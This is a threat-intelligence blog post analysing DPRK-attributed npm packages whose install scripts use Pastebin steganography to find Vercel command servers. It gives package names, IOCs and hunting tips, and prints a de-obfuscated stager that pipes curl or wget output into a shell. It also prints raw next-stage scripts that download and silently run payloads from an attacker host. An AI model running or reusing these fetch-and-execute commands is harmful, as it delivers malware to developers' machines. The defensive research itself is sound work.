Novel DPRK stager using Pastebin and text steganography

kmsec.uk · Kieran Miyamoto · 1 month ago · research
quality 7/10 · good
0 net
This is a quick one as FAMOUS CHOLLIMA has been keeping me busy this week by testing Google Drive as a stager and my longer write-up on tracking their IP addresses through temporary mailboxes . I just cannot help writing about this one as it’s really fun — it also helps that having a sleeping baby strapped to the chest for three hours makes for idle hands, and you know what they say about idle hands! Summary Seventeen recent npm malware packages use Pastebin and a custom text steganography component as a dead-drop resolver This signals further recent and rapid testing and development by FAMOUS CHOLLIMA This post contains tactical IOCs and brief hunting guidelines From 25-26 February 2026 my continuous scanner that supports my DPRK tracking on npm identified seventeen new packages that contained novel loader logic. ℹ️ Note Update : The number of packages has since increased to 26, and Socket has given this flavour of malware the moniker StegaBin . Thanks for the shout-out Socket! All seventeen packages contain an identical malicious JavaScript file at vendor/scrypt-js/version.js . sha256 da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 view raw sample — it’s highly obfuscated, my analysis is further below. Date Package npm user 2026-02-26 10:35:55 daytonjs v1.11.20 ( download ) christopher.smith.hal47 (christopher.smith.hal47[@]gmail.com) 2026-02-26 10:33:00 corstoken v2.14.7 ( download ) christopher.smith.hj47 (christopher.smith.hj47[@]gmail.com) 2026-02-26 10:28:26 jsnwebapptoken v8.40.2 ( download ) christopher.smith.ye47 (christopher.smith.ye47[@]gmail.com) 2026-02-26 10:25:49 iosysredis v5.13.2 ( download ) christopher.smith471014 (christopher.smith471014[@]gmail.com) 2026-02-26 10:16:52 sequelization v6.40.2 ( download ) hello.mr.jr29 (hello.mr.jr29[@]gmail.com) 2026-02-26 10:09:45 undicy-lint v7.23.1 ( download ) patrick.sullivan1896 (patrick.sullivan1896[@]gmail.com) 2026-02-26 10:05:58 expressjs-lint v5.3.2 ( download ) veryanthony00 (veryanthony00[@]gmail.com) 2026-02-25 22:31:13 loadash-lint v4.17.24 ( download ) charles.cm.morgan (charles.cm.morgan[@]gmail.com) 2026-02-25 22:26:36 promanage v6.0.21 ( download ) andrew.ddn.walker (andrew.ddn.walker[@]gmail.com) 2026-02-25 22:21:37 vitetest-lint v4.1.21 ( download ) andrew.dea.walker00 (andrew.dea.walker00[@]gmail.com) 2026-02-25 22:13:14 prism-lint v7.4.2 ( download ) stefan.matic.topdev00 (stefan.matic.topdev00[@]gmail.com) 2026-02-25 22:07:50 fastify-lint v5.8.0 ( download ) andrew.dn.walker00 (andrew.dn.walker00[@]gmail.com) 2026-02-25 22:03:16 typoriem v0.4.17 ( download ) andrew.d.walker00 (andrew.d.walker00[@]gmail.com) 2026-02-25 21:51:56 argonist v0.41.0 ( download ) andrew.dean.walker00 (andrew.dean.walker00[@]gmail.com) 2026-02-25 21:46:19 uuindex v13.1.0 ( download ) andrewdeanwalker007 (andrewdeanwalker007[@]gmail.com) 2026-02-25 21:37:45 bcryptance v6.5.2 ( download ) needlesstosay (needlesstosay0o0o0[@]gmail.com) 2026-02-25 19:38:58 ether-lint v5.9.4 ( download ) maheshkya (whereisandrew2[@]gmail.com) Analysis These packages contain an install script: "node ./scripts/test/install.js" . The presence of an install script overrides default npm installation behaviour and this command will run upon package installation. This initial install.js is just a step of misdirection and simply imports and executes the malicious payload at vendor/scrypt-js/version.js . version.js contains three hardcoded pastebin references (in the following order): Pastebin link Last edit date Pastebin user Views View my mirror/backup hxxps://pastebin[.]com/CJ5PrtNk Wednesday 11th of February 2026 03:47:40 PM CDT davidsouza23 353 CJ5PrtNk hxxps://pastebin[.]com/0ec7i68M Wednesday 11th of February 2026 03:41:28 PM CDT Edgar04231 15 0ec7i68M hxxps://pastebin[.]com/DjDCxcsT Wednesday 11th of February 2026 03:43:37 PM CDT Edgar04231 19 DjDCxcsT There is a loop to fetch and decode these payloads, however if the paste is formatted correctly (more on this below), the loop will break and no further URLs are processed. Effectively the second two act as fallbacks, explaining the discrepancy between “views” in the table above. 💬 Comment It is highly likely that a large portion of the “views” of paste CJ5PrtNk represents victims that have run this flavour of malware. These pastes are ostensibly benign at first view, however there are minor inexplicable typos in the text: One of the pastes viewed on Pastebin. Looks benign to me! After fetching the raw Pastebin content, the malware uses a custom decoder to extract specific characters from the text into an array of C2 URLs. As the original implementation is obfuscated, I asked Gemini to rename variables, add type annotations, and comment on functionality. The result is available to view on Typescript Play, where you can safely run it yourself to see the decoded C2 addresses as shown below: Running the complex decoder on one of the Pastebin samples All three pastes decode into the same payload array: ext-checkdin[.]vercel[.]app cleverstack-ext301[.]vercel[.]app cleverstack-app998[.]vercel[.]app brightlaunch-ext742[.]vercel[.]app brightlaunch-app615[.]vercel[.]app primevector-ext483[.]vercel[.]app primevector-app920[.]vercel[.]app zenithflow-ext156[.]vercel[.]app zenithflow-app877[.]vercel[.]app cloudharbor-ext664[.]vercel[.]app cloudharbor-app239[.]vercel[.]app sparkforge-ext518[.]vercel[.]app sparkforge-app790[.]vercel[.]app logicfield-ext432[.]vercel[.]app logicfield-app681[.]vercel[.]app atlasnode-ext957[.]vercel[.]app atlasnode-app204[.]vercel[.]app signalbase-ext369[.]vercel[.]app signalbase-app845[.]vercel[.]app neuraldock-ext126[.]vercel[.]app neuraldock-app734[.]vercel[.]app orbitstack-ext592[.]vercel[.]app orbitstack-app318[.]vercel[.]app fusionlayer-ext807[.]vercel[.]app fusionlayer-app463[.]vercel[.]app quantapath-ext275[.]vercel[.]app quantapath-app914[.]vercel[.]app visiondock-ext648[.]vercel[.]app visiondock-app157[.]vercel[.]app openmatrix-ext539[.]vercel[.]app openmatrix-app882[.]vercel[.]app Next, the malware visits each of the domains in the array and retrieves a platform-specific payload to execute in the victim’s shell. This is similar to FAMOUS CHOLLIMA’s abuse of VS Code Tasks documented in Open Source Malware’s blog post , Below is a Gemini-assisted rewrite and annotation of the payload-retrieval logic observed in this sample (thanks for the safety warnings Gemini!). executeRemotePayload function is called checkUrl in the original obfuscated content, if you’d like to cross-reference: /** * WARNING: This function is a malicious Remote Code Execution (RCE) trigger. * It downloads and executes arbitrary code from a remote server based on the OS. * * @param c2Host - The domain or IP of the Command & Control server. */ async function executeRemotePayload ( c2Host : string ) : Promise <{ url : string ; working : boolean } | void > { try { const platform = os. platform (); let shellPath : string ; let shellArgs : string []; if (platform === "darwin" ) { // macOS: Downloads from /api/m and pipes directly into bash shellPath = "bash" ; shellArgs = [ "-c" , `curl -s 'https://${ c2Host }/api/m' | sh` ]; } else if (platform === "linux" ) { // Linux: Downloads from /api/l via wget and pipes into bash shellPath = "bash" ; shellArgs = [ "-c" , `wget -qO- 'https://${ c2Host }/api/l' | sh` ]; } else if (platform === "win32" ) { // Windows: Downloads from /api/w via curl and pipes into cmd.exe shellPath = "cmd.exe" ; shellArgs = [ "/c" , `curl -s https://${ c2Host }/api/w | cmd` ]; } else { // Fallback for unsupported OS (e.g., FreeBSD, AIX) return { url: c2Host, working: false }; } /** * Executes the command silently. * stdio: "ignore" ensures no output appears in the console, * making the execution invisible to the user. */ spawn (shellPath, shellArgs, { stdio: "ignore" , detached: true // Often added in malware to keep the process alive if the parent dies }); } catch (error) { // Silent fail to avoid alerting the user if there's a network/permission error } } ℹ️ Note Only the first domain (ext-checkdin.vercel[.]app) actually returns a status 200. All subsequent domains return a 404 The deployment could not be found on Vercel . That said, this long list acts as a fallback. If ext-checkdin.vercel[.]app gets taken down, FAMOUS CHOLLIMA can simply stand up a deployment at the other sites and the infection chain remains working. Additionally, if the user-agent is not curl , the deployment at ext-checkdin.vercel[.]app responds with a status 200 but with the raw content Permanently suspended (response hash accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 ). Next stage This post is getting long, so I’ll just paste the next-stagers for each platform (as per the path URI at ext-checkdin.vercel[.]app). Follow-on research is left to the reader. I’m tired! path: /api/l (Linux) ====== response hash: 869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec ====== raw payload: #!/bin/bash set -e echo "Authenticated" TARGET_DIR="$HOME/.config" clear wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://ext-checkdin.vercel.app/api/tokenl?st=eXVCQi90UlVBMkF0MkpOd09jY1hJdz09OlAvcFZYajB5dG1QbUczTm16ZFVoQUhIcFVjL3ZOUFYxQlBRZEw1emp5K2gvTnE1VmFEamFQaG4zVEdwNDJSRVdoRm1zTEVXbitjSlBMWnd2blp1ZWFJcWhjNnZicWMwUVNGUTZWUndrb0pnWVRmbnRJcVJrcXM5NUtQRllGNCtNeThZZEQxQjY1T3M3a1hwbXhpMWdtRjhnclZkOXhwT0J6d0RHbjdrSXY3UT0" clear mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh" clear chmod +x "$TARGET_DIR/tokenlinux.sh" clear nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 & clear path: /api/m (MacOS) ====== response hash: bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303 ====== raw payload: #!/bin/bash set -e echo "Authenticated" mkdir -p "$HOME/Library" clear curl -s -L -o "$HOME/Library/tokenlinux.sh" "http://ext-checkdin.vercel.app/api/tokenl?&st=Z09RcS80UmR0VzdpTUh0Q055Y3ZIQT09OnpadVJXRElOV0o0TkFxbDRneFAwRHVzbnU5SVJLUURTcjUvcnBiY0o3MG42L1pCM3lmdjFVMk0zdkhjdGg1QkV4bzZJMkNmQStCejY3bEd4b1NRQnZEQkE2RXhVL1FkZjJDWUdzNGJNVVQ4UVZVc0JMZklTa1pzaFR0T0pSVnVSVXFHRnR2WGNuMUlVV2RtdlpRcXlyN2JWWTBwYzFCTEpkRVJnSFdCdW5Hdz0" clear chmod +x "$HOME/Library/tokenlinux.sh" clear nohup bash "$HOME/Library/tokenlinux.sh" > /dev/null 2>&1 & clear path: /api/w (Windows) ====== response hash: e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 ====== raw payload: ::@echo off if exist "%APPDATA%\parse" del "%APPDATA%\parse" if exist "%APPDATA%\token.cmd" del "%APPDATA%\token.cmd" if exist "%APPDATA%\.sv" del "%APPDATA%\.sv" curl -s -L -o "%APPDATA%//parse" "http://ext-checkdin.vercel.app/api/tokenw?st=eTExbGRFdENlUlVWbTRyS2ZlMXFuQT09OmpJb0RRWktvV2wzaVRSNWZ4RzVqV1AwM0w2L3ZiZ1ltS1MvZ2E4aGQ1dFlYQmxjeHd3VmdSMkRVRTExL21VZS94aGl1MFBHWDRqSDdicTZMRHYrSWFaRDh6N3Zmcis4VXFybzRXNzU4blVYalNJUnRQVzEyZUJDZlJQdCtYajVBOUxXbnVLaVJuNnlNWXd3bDMvTnlRQWhDVEZDSDhreXdvdEpuVG9TVkpOZz0" ren "%APPDATA%\parse" token.cmd "%APPDATA%\token.cmd" ::cls Hunting guidelines I’ll keep this short and sweet: Node.js process spawning curl or wget — likely noisy but worth a look Node.js process DNS lookup to pastebin.com wget or curl user-agent GETing a Vercel deployment Assessment With two distinct novel loader techniques observed in a single week, this marks an unusually rapid pace of development by FAMOUS CHOLLIMA. It is likely they will continue to iterate and test various infection methodologies simultaneously in the short term.